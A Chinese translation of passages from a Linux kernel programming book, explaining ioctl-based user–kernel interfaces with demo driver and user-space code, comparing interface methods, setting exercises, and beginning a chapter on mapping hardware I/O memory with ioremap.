但正如我们刚才提到的,当传输 数据时,read(2)write(2)系统调用 API 是适当的,而在这里,我们打算执行控制操作。那么,我们需要另一个系统调用来执行这样的操作...我们是否需要创建和编码一个新的系统调用(或多个系统调用)?不,比那简单得多:我们通过ioctl 系统调用进行多路复用,利用它来执行我们设备上需要的任何控制操作!如何做到?啊,回想一下上一章中至关重要的file_operations(fops)数据结构;我们现在将初始化另一个成员,.ioctl,为我们的 ioctl 方法函数,从而允许我们的设备驱动程序挂接到这个系统调用:

static struct file_operations ioct_intf_fops = { 
    .llseek = no_llseek,
    .ioctl = ioct_intf_ioctl,
    [...]
};

现实情况是,我们必须弄清楚在 Linux 内核版本 2.6.36 或更高版本上运行模块时,我们应该使用ioctl还是file_operations结构的unlocked_ioctl成员;接下来会更多地介绍这个问题。

实际上,向内核添加新的系统调用并不是一件轻松的事情!内核开发人员并不会随意添加系统调用 - 毕竟这是一个安全敏感的接口。有关此更多信息请参阅:www.kernel.org/doc/html/latest/kernel-hacking/hacking.html#ioctls-not-writing-a-new-system-call

接下来会更多地介绍使用 ioctl 进行接口。

在用户空间和内核空间中使用 ioctl

ioctl(2)系统调用的签名如下:

#include <sys/ioctl.h>
int ioctl(int fd, unsigned long request, ...);

参数列表是可变参数。现实和通常情况下,我们传递两个或三个参数:

  • 第一个参数很明显 - 打开的设备文件的文件描述符(在我们的情况下)。

  • 第二个参数称为request,这是有趣的:它是要传递给驱动程序的命令。实际上,它是一个编码,封装了所谓的 ioctl 魔术数:一个数字和一个类型(读/写)。

  • (可选的)第三个参数,通常称为arg,也是一个unsigned long数量;我们使用它来以通常的方式传递一些数据给底层驱动程序,或者经常通过传递它的(虚拟)地址并让内核写入它来将数据返回给用户空间,利用 C 语言的所谓值-结果输入-输出参数样式。

现在,正确使用 ioctl 并不像许多其他 API 那样简单。想一想:您很容易会遇到这样的情况,即几个用户空间应用程序正在向其底层设备驱动程序发出ioctl(2)系统调用(发出各种命令)。一个问题变得明显:内核 VFS 层如何将 ioctl 请求定向到正确的驱动程序?ioctl 通常在具有唯一(major, minor)号码的字符设备文件上执行;因此,另一个驱动程序如何接收您的 ioctl 命令(除非您故意、可能恶意地设置设备文件)?

然而,存在一个协议来实现对 ioctl 的安全和正确使用;每个应用程序和驱动程序都定义一个魔术数字,该数字将被编码到其所有 ioctl 请求中。首先,驱动程序将验证其接收到的每个 ioctl 请求是否包含它的魔术数字;只有在这种情况下,它才会继续处理;否则,它将简单地丢弃它。当然,这引出了对ABI的需求 - 我们需要为每个“注册”的驱动程序分配唯一的魔术数字(它可以是一个范围)。由于这创建了一个 ABI,内核文档将是相同的;您可以在这里找到有关谁在使用哪个魔术数字(或代码)的详细信息:www.kernel.org/doc/Documentation/ioctl/ioctl-number.txt

接下来,对底层驱动程序的 ioctl 请求基本上可以是四种情况之一:向设备“写入”命令,从设备“读取”(或查询)命令,执行读/写传输的命令,或者什么都不是的命令。这些信息(再次)通过定义某些位来编码到请求中:为了使这项工作更容易,我们有四个辅助宏,允许我们构造 ioctl 命令:

  • _IO(type,nr): 编码一个没有参数的 ioctl 命令

  • _IO**R**(type,nr,datatype): 编码一个用于从内核/驱动程序读取数据的 ioctl 命令

  • _IO**W**(type,nr,datatype): 编码一个用于向内核/驱动程序写入数据的 ioctl 命令

  • _IO**WR**(type,nr,datatype): 编码一个用于读/写传输的 ioctl 命令

这些宏在用户空间的<sys/ioctl.h>头文件中定义,在内核中位于include/uapi/asm-generic/ioctl.h。典型(并且相当明显的)最佳实践是创建一个公共头文件,定义应用程序/驱动程序的 ioctl 命令,并在用户模式应用程序和设备驱动程序中包含该文件。

在这里,作为演示,我们将设计并实现一个用户空间应用程序和一个内核空间设备驱动程序,以驱动一个通过ioctl(2)系统调用进行通信的虚构设备。因此,我们必须定义一些通过ioctl接口发出的命令。我们将在一个公共头文件中完成这个工作,如下所示:

// ch2/ioctl_intf/ioctl_llkd.h

/* The 'magic' number for our driver; see Documentation/ioctl/ioctl-number.rst 
 * Of course, we don't know for _sure_ if the magic # we choose here this
 * will remain free; it really doesn't matter, this is just for demo purposes;
 * don't try and upstream this without further investigation :-)
 */
#define IOCTL_LLKD_MAGIC        0xA8

#define IOCTL_LLKD_MAXIOCTL        3
/* our dummy ioctl (IOC) RESET command */
#define IOCTL_LLKD_IOCRESET     _IO(IOCTL_LLKD_MAGIC, 0)
/* our dummy ioctl (IOC) Query POWER command */
#define IOCTL_LLKD_IOCQPOWER    _IOR(IOCTL_LLKD_MAGIC, 1, int)
/* our dummy ioctl (IOC) Set POWER command */
#define IOCTL_LLKD_IOCSPOWER    _IOW(IOCTL_LLKD_MAGIC, 2, int)

我们必须尽量使宏中使用的名称有意义。我们的三个命令(用粗体标出)都以IOCTL_LLKD_为前缀,表明它们都是我们虚构的LLKD项目的 ioctl 命令;接下来,它们以IOC{Q|S}为后缀,其中IOC表示它是一个 ioctl 命令,Q表示它是一个查询操作,S表示它是一个设置操作。

现在,让我们从用户空间和内核空间(驱动程序)的代码级别学习如何设置事物。

用户空间 - 使用 ioctl 系统调用

ioctl(2)系统调用的用户空间签名如下:

#include <sys/ioctl.h>
int ioctl(int fd, unsigned long request, ...);

在这里,我们可以看到它接受一个可变参数列表;ioctl 的参数如下:

  • 第一个参数:文件或设备的文件描述符(在我们的情况下)执行 ioctl 操作(我们通过在设备文件上执行open来获得fd)。

  • 第二个参数:发出给底层设备驱动程序(或文件系统或任何fd代表的东西)的请求或命令。

  • 可选的第三(或更多)个参数:通常,第三个参数是一个整数(或指向整数或数据结构的指针);我们使用这种方法来在发出设置类型的命令时向驱动程序传递一些额外信息,或者通过众所周知的传引用 C 范式从驱动程序中检索一些信息,其中我们传递指针并让驱动程序“poke”它,从而将参数视为实际上是一个返回值。

实际上,ioctl 经常被用作通用系统调用。使用 ioctl 在硬件和软件上执行命令操作的情况几乎令人尴尬地多!请参阅内核文档(Documentation/ioctl/<...>)以查看许多实际的真实世界示例。例如,您将在这里找到有关谁在 ioctl 中使用哪个魔术数字(或代码)的详细信息:www.kernel.org/doc/Documentation/ioctl/ioctl-number.txt

(类似地,ioctl_list(2)手册页面显示了 x86 内核中 ioctl 调用的完整列表;尽管这些文档文件似乎相当古老。现在似乎在这里:github.com/torvalds/linux/tree/master/Documentation/userspace-api/ioctl。)

让我们来看一些用户空间 C 应用程序的片段,特别是在发出ioctl(2)系统调用时(为了简洁和可读性,我们省略了错误检查代码;完整的代码可以在本书的 GitHub 存储库中找到):

// ch2/ioctl_intf/user space_ioctl/ioctl_llkd_userspace.c
#include "../ioctl_llkd.h"
[...]
ioctl(fd, IOCTL_LLKD_IOCRESET, 0);   // 1\. reset the device
ioctl(fd, IOCTL_LLKD_IOCQPOWER, &power); // 2\. query the 'power status'

// 3\. Toggle it's power status
if (0 == power) {
        printf("%s: Device OFF, powering it On now ...\n", argv[0]);
        if (ioctl(fd, IOCTL_LLKD_IOCSPOWER, 1) == -1) { [...]
        printf("%s: power is ON now.\n", argv[0]);
    } else if (1 == power) {
        printf("%s: Device ON, powering it OFF in 3s ...\n", argv[0]);
        sleep(3); /* yes, careful here of sleep & signals! */
        if (ioctl(fd, IOCTL_LLKD_IOCSPOWER, 0) == -1) { [...]
        printf("%s: power OFF ok, exiting..\n", argv[0]);
    }
[...]

我们的驱动程序如何处理这些用户空间发出的 ioctls 呢?让我们找出来。

内核空间-使用 ioctl 系统调用

在前面的部分中,我们看到内核驱动程序将不得不初始化其file_operations结构以包括ioctl方法。不过,这还不是全部:Linux 内核不断发展;在早期的内核版本中,开发人员使用了非常粗粒度的锁,虽然它起作用,但严重影响了性能(我们将在第六章和第七章中详细讨论锁定)。它是如此糟糕以至于被称为Big Kernel LockBKL)!好消息是,到了内核版本 2.6.36,开发人员摆脱了这个臭名昭著的锁。不过,这样做也产生了一些副作用:其中之一是发送到内核中的 ioctl 方法的参数数量从旧方法中的四个变为了新方法中的三个,这个新方法被称为unlocked_ioctl。因此,对于我们的演示驱动程序,我们将在初始化驱动程序的file_operations结构时使用以下ioctl方法:

// ch2/ioctl_intf/kerneldrv_ioctl/ioctl_llkd_kdrv.c
#include "../ioctl_llkd.h"
#include <linux/version.h>
[...]
static struct file_operations ioctl_intf_fops = { 
    .llseek = no_llseek,
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 36)
    .unlocked_ioctl = ioctl_intf_ioctl, // use the 'unlocked' version
#else
    .ioctl = ioctl_intf_ioctl, // 'old' way
#endif
};

显然,由于它在 fops 驱动程序中定义,ioctl 被认为是一个私有驱动程序接口(driver-private)。此外,在驱动程序代码中的函数定义中也必须考虑到关于更新的“解锁”版本的同样事实;我们的驱动程序也这样做了:

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 36)
static long ioctl_intf_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
#else
static int ioctl_intf_ioctl(struct inode *ino, struct file *filp, unsigned int cmd, unsigned long arg)
#endif
{
[...]

这里的关键代码是驱动程序的 ioctl 方法。想想看:一旦基本的有效性检查完成,驱动程序实际上所做的就是对用户空间应用程序发出的所有可能的有效 ioctl 命令执行switch-case。让我们来看一下以下代码(为了可读性,我们将跳过#if LINUX_VERSION_CODE >= ...宏指令,只显示现代 ioctl 函数签名以及一些有效性检查;您可以在本书的 GitHub 存储库中查看完整的代码):

static long ioctl_intf_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    int retval = 0;
    pr_debug("In ioctl method, cmd=%d\n", _IOC_NR(cmd));

    /* Verify stuff: is the ioctl's for us? etc.. */
    [...]

    switch (cmd) {
    case IOCTL_LLKD_IOCRESET:
        pr_debug("In ioctl cmd option: IOCTL_LLKD_IOCRESET\n");
        /* ... Insert the code here to write to a control register to reset  
           the device ... */
        break;
    case IOCTL_LLKD_IOCQPOWER:  /* Get: arg is pointer to result */
        pr_debug("In ioctl cmd option: IOCTL_LLKD_IOCQPOWER\n"
            "arg=0x%x (drv) power=%d\n", (unsigned int)arg, power);
        if (!capable(CAP_SYS_ADMIN))
            return -EPERM;
        /* ... Insert the code here to read a status register to query the
         * power state of the device ... * here, imagine we've done that 
         * and placed it into a variable 'power'
         */
        retval = __put_user(power, (int __user *)arg);
        break;
    case IOCTL_LLKD_IOCSPOWER:  /* Set: arg is the value to set */
        if (!capable(CAP_SYS_ADMIN))
            return -EPERM;
        power = arg;
        /* ... Insert the code here to write a control register to set the
         * power state of the device ... */
        pr_debug("In ioctl cmd option: IOCTL_LLKD_IOCSPOWER\n"
            "power=%d now.\n", power);
        break;
    default:
        return -ENOTTY;
    }
[...]

_IOC_NR宏用于从cmd参数中提取命令号。在这里,我们可以看到驱动程序对通过用户空间进程发出的ioctl的三种有效情况做出了“反应”:

  • 在接收到IOCTL_LLKD_IOC**RESET**命令时,它执行设备复位。

  • 在接收到IOCTL_LLKD_IOC**Q**POWER命令时,它查询(Q表示查询)并返回当前的电源状态(通过将其值插入到第三个参数arg中,使用value-result C 编程方法)。

  • 在接收到IOCTL_LLKD_IOC**S**POWER命令时,它设置(S表示设置)电源状态(设置为第三个参数arg中传递的值)。

当然,由于我们正在处理一个纯虚构的设备,我们的驱动程序实际上并不执行任何寄存器(或其他硬件)工作。这个驱动程序只是一个您可以利用的模板。

如果黑客试图发出我们的驱动程序不知道的命令(相当笨拙的黑客),会发生什么?好吧,初始的有效性检查会捕捉到它;即使他们没有,我们将在ioctl方法中命中default情况,导致驱动程序向用户空间返回-ENOTTY。这将通过 glibc“粘合”代码将用户空间进程(或线程的)errno值设置为ENOTTY,通知它 ioctl 方法无法提供服务。我们的用户空间perror(3) API 将显示Inappropriate ioctl for device错误消息。事实上,如果驱动程序没有ioctl方法(也就是说,如果file_operations结构中的 ioctl 成员设置为NULL),并且用户空间应用程序发出ioctl方法,就会发生这种情况。

我把这个用户空间/驱动程序项目示例留给你来尝试;为了方便起见,一旦加载了驱动程序(通过 insmod),您可以使用ch2/userspace_ioctl/cr8devnode.sh便捷脚本生成设备文件。设置好之后,运行用户空间应用程序;您会发现连续运行它会重复切换我们虚构设备的“电源状态”。

ioctl 作为调试接口

正如我们在本章开头提到的,使用ioctl接口进行调试有什么问题?它可以用于这个目的。您可以随时在switch-case块中插入一个“debug”命令;它可以用于向用户空间应用程序提供有用的信息,例如驱动程序状态、关键变量的值(也包括健康监测)等。

不仅如此,除非明确向最终用户或客户记录,通过 ioctl 接口使用的精确命令是未知的;因此,您应该在提供足够的细节给其他团队或客户的同时记录接口。这带来了一个有趣的观点:您可能选择故意不记录某个 ioctl 命令;它现在是一个“隐藏”的命令,可以被现场工程师等人使用来检查设备。(我把这个任务留给你来完成。)

ioctl 的内核文档包括这个文件:www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.txt。虽然偏向于内核图形堆栈开发人员,但它描述了典型的设计错误、权衡和更多内容。

太棒了 - 你快完成了!您已经学会了如何通过各种技术将内核模块或驱动程序与用户模式进程或线程(在用户空间应用程序内)进行接口。我们从 procfs 开始,然后转向使用 sysfs 和 debugfs。netlink 套接字和 ioctl 系统调用完成了我们对这些接口方法的研究。

但是在所有这些选择中,项目中应该实际使用哪种?下一节将通过快速比较这些不同的接口方法来帮助您做出决定。

接口方法的比较 - 表格

在本节中,我们根据一些参数创建了一个快速比较表,列出了本章中描述的各种用户-内核接口方法:

参数/接口方法 procfs sysfs **        debugfs** netlink socket ioctl
开发的便利性 易于学习和使用。 (相对)易于学习和使用。 (非常)易于学习和使用。 更难;必须编写用户空间 C + 驱动程序代码 + 理解套接字 API。 公平/更难;必须编写用户空间 C + 驱动程序代码。
适用于什么用途 仅适用于核心内核(一些较旧的驱动程序可能仍在使用);最好避免使用驱动程序。 设备驱动程序接口。 用于生产和调试目的的驱动程序(和其他)接口。 各种接口:用户包括设备驱动程序、核心网络代码、udev 系统等。 主要用于设备驱动程序接口(包括许多)。
接口可见性 对所有人可见;使用权限来控制访问。 对所有人可见;使用权限来控制访问。 对所有人可见;使用权限来控制访问。 从文件系统中隐藏;不会污染内核命名空间。 从文件系统中隐藏;不会污染内核命名空间。
驱动程序/模块作者的上游内核 ABI* 驱动程序中的使用已在主线中弃用。 “正确的方式”;与用户空间接口驱动程序的正式接受方法。 在主线中得到很好的支持并被驱动程序和其他产品广泛使用。 得到很好的支持(自 2.2 版以来)。 得到很好的支持。
用于(驱动程序)调试目的 是的(尽管在主线中不应该)。 不是/不理想。 是的,非常有用!按设计“没有规则”。 不是/不理想。 是的;(甚至)通过隐藏命令。
  • 正如我们之前提到的,内核社区文件 procfs、sysfs 和 debugfs 都是*ABI;它们的稳定性和寿命没有得到保证。虽然这是社区采纳的正式立场,但实际上使用这些文件系统的许多实际接口已成为现实世界中产品使用的事实接口。然而,我们应该遵循内核社区关于它们使用的“规则”和指南。

总结

在本章中,我们涵盖了设备驱动程序作者的一个重要方面-如何确切地在用户和内核(驱动程序)空间之间进行接口。我们向您介绍了几种接口方法;我们从一个较旧的接口开始,即通过古老的 proc 文件系统进行接口(然后提到了为什么这不是驱动程序作者首选的方法)。然后我们转向通过基于 2.6 的sysfs进行接口。这事实上是用户空间的首选接口,至少对于设备驱动程序来说。然而,sysfs 有局限性(回想一下每个 sysfs 文件一个值的规则)。因此,使用完全自由格式的debugfs*接口技术确实使编写调试(和其他)接口变得非常简单和强大。netlink 套接字是一种强大的接口技术,被网络子系统、udev 和一些驱动程序使用;尽管需要一些关于套接字编程和内核套接字缓冲区的知识。对于设备驱动程序进行通用命令操作,ioctl 系统调用是一个巨大的多路复用器,经常被设备驱动程序作者(和其他组件)用于与用户空间进行接口。

掌握了这些知识,您现在可以实际将您的驱动程序级代码与用户空间应用程序(或脚本)集成;通常,用户模式图形用户界面GUI)将希望显示从内核或设备驱动程序接收到的一些值。您现在知道如何将这些值从内核空间设备驱动程序传递!

在下一章中,您将学习到一个典型的任务驱动程序作者必须执行的任务:与硬件芯片内存打交道!确保您对本章的内容清楚,完成提供的练习,查阅进一步阅读资源,然后深入下一章。到时见!

问题

  1. sysfs_on_miscsysfs 分配#1:扩展我们在第一章中编写的一个misc设备驱动程序;设置两个 sysfs 文件及其读/写回调;从用户空间进行测试。

  2. sysfs_addrxlatesysfs 分配#2(稍微高级一点)地址转换:利用本章和Linux 内核编程书中获得的知识,第七章,内存管理内部-基本知识直接映射 RAM 和地址转换部分,编写一个简单的平台驱动程序,提供两个名为addrxlate_kva2paaddrxlate_pa2kva的 sysfs 接口文件。将 kva 写入 sysfs 文件addrxlate_kva2pa,驱动程序应读取并将kva转换为其对应的物理地址pa);然后,从同一文件中读取应导致显示pa。对addrxlate_pa2kva sysfs 文件执行相同操作。

  3. dbgfs_disp_pgoffdebugfs 分配#1:编写一个内核模块,在此处设置一个 debugfs 文件:<debugfs_mount_point>/dbgfs_disp_pgoff。在读取时,它应该显示(到用户空间)PAGE_OFFSET内核宏的当前值。

  4. dbgfs_showall_threadsdebugfs 分配#2:编写一个内核模块,在此处设置一个 debugfs 文件:<debugfs_mount_point>/dbgfs_showall_threads/dbgfs_showall_threads。在读取时,它应该显示每个活动线程的一些属性。(这类似于我们在Linux 内核编程书中的代码:github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/ch6/foreach/thrd_showall。请注意,线程仅在 insmod 时间显示使用 debugfs 文件,您可以选择任何时间显示所有线程的信息)!

建议的输出格式为 CSV 格式:TGID,PID,current,stack-start,name,#threads。方括号中的[name]字段=>内核线程;

#threads字段应该只显示一个正整数;*这里没有输出意味着单线程进程;例如:130,130,0xffff9f8b3cd38000,0xffffc13280420000,[watchdogd])

  1. ioctl 分配#1:使用提供的ch2/ioctl_intf/代码作为模板,编写一个用户空间 C 应用程序和一个内核空间(char)设备驱动程序,实现ioctl方法。添加一个名为IOCTL_LLKD_IOCQPGOFF的 ioctl 命令,以将PAGE_OFFSET(在内核中)的值返回给用户空间。

  2. ioctl_undocioctl 分配#2:使用提供的ch2/ioctl_intf/代码作为模板,编写一个用户空间 C 应用程序和一个内核空间(char)设备驱动程序,实现ioctl方法。添加一个驱动程序上下文数据结构(我们在几个示例中使用了这些),然后分配和初始化它。现在,除了我们使用的三个以前的 ioctl 命令之外,还设置第四个未记录的命令(您可以称之为IOCTL_LLKD_IOCQDRVSTAT)。当通过ioctl(2)从用户空间查询时,它必须将驱动程序上下文数据结构的内容返回给用户空间;用户空间 C 应用程序必须打印出该结构的每个成员的当前内容。

您会发现一些问题的答案在书的 GitHub 存储库中:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn

进一步阅读

您可以参考以下链接,了解本章涵盖的主题的更多信息。有关在 Linux 设备驱动程序中使用非常常见的 I2C 协议的更多信息,请访问以下链接:

第三章:使用硬件 I/O 内存

在这一章中,我们将专注于编写设备驱动程序的一个重要与硬件相关的方面:如何准确地访问和执行对硬件(或外围)I/O 内存的 I/O(输入/输出,读取和写入)。

你将在本章中获得的知识背后的动机很简单:没有这个,你如何实际控制设备呢?大多数设备都是通过对它们的硬件寄存器和/或外围内存进行精心校准的写入和读取来驱动的,也称为硬件 I/O 内存。作为一个基于虚拟内存的操作系统,Linux 在处理外围 I/O 内存时需要一些抽象。

在本章中,我们将涵盖以下主题:

  • 从内核访问硬件 I/O 内存

  • 理解和使用内存映射 I/O

  • 理解和使用端口映射 I/O

让我们开始吧!

技术要求

我假设你已经阅读了前言部分为了充分利用本书,并适当地准备了一个运行 Ubuntu 18.04 LTS(或更高版本)的虚拟机,并安装了所有必需的软件包。如果没有,我强烈建议你首先这样做。为了充分利用本书,我强烈建议你首先设置好工作环境,包括克隆本书的 GitHub 代码库,并以实际操作的方式进行工作。代码库可以在这里找到:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2

从内核访问硬件 I/O 内存

作为设备驱动程序的作者,你可能会面临的一个有趣问题是:你需要能够访问和处理外围芯片的 I/O 内存、硬件寄存器和/或硬件内存。实际上,这通常是驱动程序以"金属"级别的方式对硬件进行编程的方式:通过对其发出命令来控制它的寄存器和/或外围内存。然而,在 Linux 上直接访问硬件 I/O 内存存在一个问题。在本节中,我们将看看这个问题,并为其提供解决方案。

理解直接访问的问题

现在,当然,芯片上的这个硬件内存,所谓的 I/O 内存,不是 RAM。Linux 内核拒绝模块或驱动程序的作者直接访问这样的硬件 I/O 内存位置。我们已经知道原因:在现代基于 VM 的操作系统中,所有内存访问都必须通过内存管理单元MMU)和分页表。

让我们快速总结一下在伴随指南Linux 内核编程第七章 内存管理内部-基础中所见的关键方面:默认情况下,内存是虚拟化的,这意味着所有地址都是虚拟的而不是物理的(这包括内核段或 VAS 内的地址)。可以这样理解:一旦进程(或内核)访问虚拟地址进行读取、写入或执行,系统就必须在相应的物理地址处获取内存内容。这涉及在运行时将虚拟地址转换为物理地址;硬件优化(CPU 缓存、转换旁路缓冲器TLB)等)可以加速这一过程。所进行的过程如下:

  1. 首先,CPU 缓存(L1-D/L1-I,L2 等)会被检查,以查看由这个虚拟地址引用的内存是否已经在 CPU 缓存(硅)上。

  2. 如果内存已经在板上,我们就有了缓存命中,工作就完成了。如果没有(这是一个最后一级缓存LLC未命中—昂贵!),虚拟地址就会被馈送到微处理器 MMU。

  3. 现在 MMU 在处理器 TLB(s)中寻找相应的物理地址。如果找到了,我们就有了 TLB 命中,工作就完成了;如果没有,我们就有了 TLB 未命中(这是昂贵的!)。

  4. MMU 现在遍历进行访问的用户空间进程的分页表;或者,如果内核进行了访问,它会遍历内核分页表,将虚拟地址转换为相应的物理地址。在这一点上,物理地址被放置在总线上,工作完成。

有关更多信息,请参阅 TI 的 OMAP35x 的技术参考手册 www.ti.com/lit/ug/spruf98y/spruf98y.pdf?ts=1594376085647MMU 功能描述主题(第 946 页)用出色的图表进行了说明(对于我们的目的,请参见图 8.48.68.7 - 后者是描述前述过程的流程图)。

此外,我们提到实际地址转换过程当然是非常依赖于架构的。在一些系统上,顺序如下所示;在其他系统上(通常在 ARM 上),MMU(包括 TLB 查找)首先执行,然后检查 CPU 缓存。

因此,想一想:即使是普通的 RAM 位置在现代操作系统上运行的软件也不是直接访问的;这是因为它的内存是虚拟化的。在这种情况下,分页表(每个进程以及内核本身的)使操作系统能够在运行时将虚拟地址转换为其物理对应地址。(我们在我们的配套书籍Linux 内核编程第七章内存管理内部-基本虚拟寻址和地址转换部分中详细介绍了这些领域;如果需要,可以回顾一下以刷新这些关键点。)

现在,如果我们有一个包含 I/O 内存的硬件外围设备或芯片,如果考虑到这个内存不是 RAM,问题似乎更加复杂。那么,这个内存不是通过分页表进行映射的吗?还是?在下一节中,我们将看一下这个问题的两种常见解决方案,所以请继续阅读!

解决方案-通过 I/O 内存或 I/O 端口进行映射

为了解决这个问题,我们必须了解现代处理器提供了两种广泛的方式,通过这两种方式可以访问和处理硬件 I/O(外围芯片)内存:

  • 通过为这些外围设备保留处理器地址空间的某些区域;也就是说,通过内存映射 I/OMMIO)作为 I/O 的映射类型。

  • 通过提供不同的汇编(和相应的机器)CPU 指令来直接访问 I/O 内存。使用这种 I/O 的映射类型称为端口映射 I/OPMIO或简称PIO)。

我们将分别考虑这两种技术,即理解和使用内存映射 I/O理解和使用端口映射 I/O部分。不过,在这之前,我们需要学习如何礼貌地请求内核允许使用这些 I/O 资源!

请求内核的许可

想一想:即使您知道要使用哪些 API 来以某种方式映射或处理 I/O 内存,首先,您需要从操作系统*请求权限。毕竟,操作系统是系统的整体资源管理器,您必须在使用其资源之前得到它的许可。当然,这还有更多内容-当您请求时,您实际上是在请求它设置一些内部数据结构,使内核能够理解哪个驱动程序或子系统正在使用哪个 I/O 内存区域或端口。

在执行任何外围 I/O 之前,您应该要求内核允许这样做,并假设您得到了允许,您将执行 I/O。之后,您应该将 I/O 区域释放回内核。这个过程涉及以下步骤:

  1. I/O 之前:请求访问内存或端口区域。

  2. 在从内核核心收到绿灯后,执行实际的 I/O:您可以使用 MMIO 或 PMIO 来执行此操作(详细信息请参见下表)。

  3. I/O 之后:将内存或端口区域释放回操作系统。

那么,如何执行这些请求、I/O 和释放操作呢?有一些 API 可以做到这一点,您应该使用哪些取决于您是使用 MMIO 还是 PMIO。以下表格总结了在执行 I/O 之前应该使用的 API,然后在完成这项工作后释放该区域的 API(执行 I/O 的实际 API 将在后面介绍):

访问 I/O 内存的方法 MMIO PMIO
在执行任何 I/O 之前,请求对 I/O 内存/端口区域的访问。 request_mem_region() request_region()
执行 I/O 操作。 (参见MMIO - 执行实际 I/O部分) (参见PMIO - 执行实际 I/O部分)
在执行 I/O 操作后,释放该区域。 release_mem_region() release_region()

前面表格中显示的函数在linux/ioport.h头文件中定义为宏,它们的签名如下:

request_mem_region(start, n, name);  [...] ; release_mem_region(start, n);
request_region(start, n, name);      [...] ; release_region(start, n);

所有这些宏本质上都是对__request_region()__release_region()内部 API 的包装。这些宏的参数如下:

  • start是 I/O 内存区域或端口的起始位置;对于 MMIO,它是物理(或总线)地址,而对于 PMIO,它是端口号。

  • n是正在请求的区域的长度。

  • name是您想要将映射区域或端口范围与之关联的任何名称。通常是执行 I/O 操作的驱动程序的名称(您可以在 proc 文件系统中看到它;在我们介绍如何使用 MMIO 和 PMIO 时,我们将更详细地讨论这一点)。

request_[mem_]region()API/宏的返回值是指向struct resource的指针(关于这一点我们稍后会详细介绍)。如果返回NULL,这意味着资源未能被保留;驱动程序通常返回-EBUSY,表示资源现在正忙或不可用(可能是因为另一个组件/驱动程序已经请求并正在使用它)。

我们将在接下来的部分提供一些使用这些 API/宏的实际示例。现在,让我们学习如何实际映射和使用 I/O 内存。我们将从几乎所有现代处理器都支持的常见方法开始;即 MMIO。

理解和使用内存映射 I/O

在 MMIO 方法中,CPU 理解到其地址空间的某个区域(或多个区域)被保留用于 I/O 外围设备内存。您可以通过参考给定处理器(或 SoC)的数据表的物理内存映射来查找这些区域。

为了更清晰地说明这一点,让我们来看一个真实的例子:树莓派。正如您所知,这款热门的开发板使用的是 Broadcom BCM2835(或更高版本)SoC。BCM2835 ARM Peripherals文档位于github.com/raspberrypi/documentation/raw/master/hardware/raspberrypi/bcm2835/BCM2835-ARM-Peripherals.pdf第 90 页提供了其物理内存映射的一小部分的截图。SoC 的通用输入/输出GPIO)寄存器的映射显示了处理器地址空间中的一部分硬件 I/O 内存:

图 3.1 - BCM2835 上的物理内存映射显示了 GPIO 寄存器组

事实上更加复杂;BCM2835 SoC 有多个 MMU:其中一个——VC/ARM MMU(VC在这里代表VideoCore)——将 ARM 总线地址转换为 ARM 物理地址,之后常规的 ARM MMU 将物理地址转换为虚拟地址。请查看前述BCM2835 ARM Peripherals文档的第 5 页上的图表以了解这一点。

正如我们所看到的,这是一个寄存器块(或者说是银行),包含了一组 32 位寄存器,用于类似的目的(这里是 GPIO)。在前面的图中,对我们当前目的至关重要的一列是第一列,即地址列:这是物理或总线地址,是 ARM 处理器物理地址空间中看到 GPIO 寄存器的位置。它从0x7e20 0000开始(因为这是前面截图中的第一个地址),并且有一个有限的长度(这里记录为有 41 个 32 位寄存器,所以我们将区域的长度取为41 * 4字节)。

使用 ioremap*() API

现在,正如我们在理解直接访问的问题部分所看到的,直接在这些物理或总线地址上进行 I/O 操作是行不通的。我们应该告诉 Linux 将这些总线地址映射到内核的 VAS 中,这样我们就可以通过内核虚拟地址(KVA)来访问它!我们该如何做到这一点呢?内核为此提供了 API;驱动程序作者经常使用的一个常见 API 是ioremap()。它的签名如下:

#include <asm/io.h>
void __iomem *ioremap(phys_addr_t offset, size_t size)

asm/io.h头文件根据需要成为一个特定于架构的头文件。注意ioremap()的第一个参数是一个物理(或总线)地址(它的数据类型是phys_addr_t)。这是 Linux 中你作为驱动程序作者必须提供物理地址而不是虚拟地址的罕见情况之一(另一个典型情况是执行直接内存访问DMA)操作时)。第二个参数是显而易见的;这是我们必须映射的内存 I/O 区域的大小或长度。当调用ioremap()例程时,将从offset开始,将长度为size字节的 I/O 芯片或外围内存映射到内核的 VAS!这是必要的 - 在内核特权下,你的驱动程序现在可以通过返回指针访问这个 I/O 内存区域,从而对内存区域进行 I/O 操作。

想一想!就像mmap()系统调用允许你将 KVA 空间的一部分映射到用户空间进程一样,[devm_]ioremap*()(以及其他相关的)API 允许你将外围 I/O 内存的一部分映射到 KVA 空间。

ioremap() API 返回一个void *类型的 KVA(因为它是一个地址位置)。那么这里看起来奇怪的__iomem指令(void __iomem *)是什么?它只是一个编译器属性,在构建时会被清除;它只是为了提醒我们人类(以及执行静态分析代码的人)这是一个 I/O 地址,而不是你常规的 RAM 地址!

因此,在前面的例子中,在树莓派设备上,你可以通过以下方式将 GPIO 寄存器银行映射到 KVA(这不是实际的代码,而是一个示例,用来展示如何调用ioremap() API):

#define GPIO_REG_BASE    0x7e200000
#define GPIO_REG_LEN     164    // 41 * 4
static void __iomem *iobase;
[...]
if (!request_mem_region(GPIO_REG_BASE, GPIO_REG_LEN, "mydriver")) {
    dev_warn(dev, "couldn't get region for MMIO, aborting\n");
    return -EBUSY;   // or -EINVAL, as appropriate
}
iobase = ioremap(GPIO_REG_BASE, GPIO_REG_LEN);
if (!iobase) // handle any error
    [... perform the required IO ... ]
iounmap(iobase);
release_mem_region(GPIO_REG_BASE, GPIO_REG_LEN);

iobase变量现在保存了ioremap()的返回值;它是一个 KVA,即内核虚拟地址。只要它不是 NULL(你应该验证这一点!),你现在可以使用它。因此,在这个例子中,ioremap()的返回值是树莓派的 GPIO 寄存器(外围 I/O 内存)在内核 VAS 中的映射位置,现在可以使用了。

完成后,你应该使用iounmap() API 取消映射(如前面的代码片段中所示);iounmap() API 的参数是显而易见的 - I/O 映射的起始位置(ioremap()返回的值):

void iounmap(volatile void __iomem *io_addr);

